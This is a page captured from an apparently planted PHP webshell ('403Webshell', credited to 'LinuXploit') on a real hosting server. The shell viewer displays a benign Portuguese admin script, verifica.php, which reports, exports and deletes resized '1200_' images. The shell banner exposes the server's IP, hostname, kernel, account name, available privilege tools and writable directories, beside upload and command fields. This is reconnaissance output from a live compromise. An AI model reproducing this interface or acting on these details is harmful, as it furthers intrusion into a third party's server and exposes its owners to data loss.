403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/public_html/painel/subdominios/1623/fotos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/public_html/painel/subdominios/1623/fotos/verifica.php
<?php
// Caminho onde o script está rodando (ex.: /var/www/html/clientes/)
$diretorioPrincipal = __DIR__;

if (isset($_POST['deletar_tudo'])) {
    excluirArquivosGlobais($diretorioPrincipal);
    $msg = "Imagens 1200_ de todas as pastas foram excluídas!";
}

if (isset($_POST['deletar_pasta']) && !empty($_POST['pasta'])) {
    $pasta = basename($_POST['pasta']); // proteção contra path traversal
    $pathPasta = $diretorioPrincipal . '/' . $pasta;
    excluirArquivosPasta($pathPasta);
    $msg = "Imagens 1200_ da pasta <strong>$pasta</strong> foram excluídas!";
}

function excluirArquivosPasta($pathPasta) {
    $arquivos = glob($pathPasta . '/1200_*');
    foreach ($arquivos as $arquivo) {
        if (is_file($arquivo)) {
            unlink($arquivo);
        }
    }
}

function excluirArquivosGlobais($diretorioPrincipal) {
    $pastas = array_filter(glob($diretorioPrincipal . '/*'), 'is_dir');
    foreach ($pastas as $pastaPath) {
        excluirArquivosPasta($pastaPath);
    }
}

// Montar relatório
$relatorio = [];
$totalImagens = 0;
$totalTamanho = 0;

$pastas = array_filter(glob($diretorioPrincipal . '/*'), 'is_dir');

foreach ($pastas as $pastaPath) {
    $pastaNome = basename($pastaPath);
    $arquivos = glob($pastaPath . '/1200_*');

    $quantidade = count($arquivos);
    $tamanho = 0;

    foreach ($arquivos as $arquivo) {
        $tamanho += filesize($arquivo);
    }

    $totalImagens += $quantidade;
    $totalTamanho += $tamanho;

    $tamanhoMB = $tamanho > 0 ? number_format($tamanho / (1024 * 1024), 2) : "0.00";

    $relatorio[] = [
        'pasta' => $pastaNome,
        'quantidade' => $quantidade,
        'tamanhoMB' => $tamanhoMB
    ];
}

// Gera CSV
$csv = "Pasta;Qtd Imagens (1200_);Tamanho (MB)\n";
foreach ($relatorio as $linha) {
    $csv .= "{$linha['pasta']};{$linha['quantidade']};{$linha['tamanhoMB']}\n";
}

file_put_contents(__DIR__ . '/relatorio.csv', $csv);

?>

<!DOCTYPE html>
<html lang="pt-br">
<head>
    <meta charset="UTF-8">
    <title>Verificação de Imagens 1200_</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body class="bg-light">
<div class="container mt-5">

    <h1 class="mb-4">Verificação de Imagens <code>1200_</code></h1>

    <?php if (!empty($msg)): ?>
        <div class="alert alert-success">
            <?= $msg ?>
        </div>
    <?php endif; ?>

    <form method="post" onsubmit="return confirm('Tem certeza que deseja excluir TODAS as imagens 1200_ de todas as pastas?');">
        <button type="submit" name="deletar_tudo" class="btn btn-danger mb-3">
            Excluir imagens 1200_ de TODAS as pastas
        </button>
        <a href="relatorio.csv" class="btn btn-success mb-3" target="_blank">Download Relatório CSV</a>
    </form>

    <table class="table table-striped table-bordered">
        <thead class="table-dark">
            <tr>
                <th>Pasta</th>
                <th>Qtd Imagens (1200_)</th>
                <th>Tamanho (MB)</th>
                <th>Ações</th>
            </tr>
        </thead>
        <tbody>
        <?php foreach ($relatorio as $linha): ?>
            <tr>
                <td><?= htmlspecialchars($linha['pasta']) ?></td>
                <td><?= $linha['quantidade'] ?></td>
                <td><?= $linha['tamanhoMB'] ?></td>
                <td>
                    <form method="post" style="display:inline;" onsubmit="return confirm('Excluir imagens da pasta <?= htmlspecialchars($linha['pasta']) ?>?');">
                        <input type="hidden" name="pasta" value="<?= htmlspecialchars($linha['pasta']) ?>">
                        <button type="submit" name="deletar_pasta" class="btn btn-sm btn-danger">
                            Excluir Imagens
                        </button>
                    </form>
                </td>
            </tr>
        <?php endforeach; ?>
        </tbody>
        <tfoot class="table-secondary">
            <tr>
                <th>Total</th>
                <th><?= $totalImagens ?></th>
                <th><?= number_format($totalTamanho / (1024 * 1024), 2) ?></th>
                <th></th>
            </tr>
        </tfoot>
    </table>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit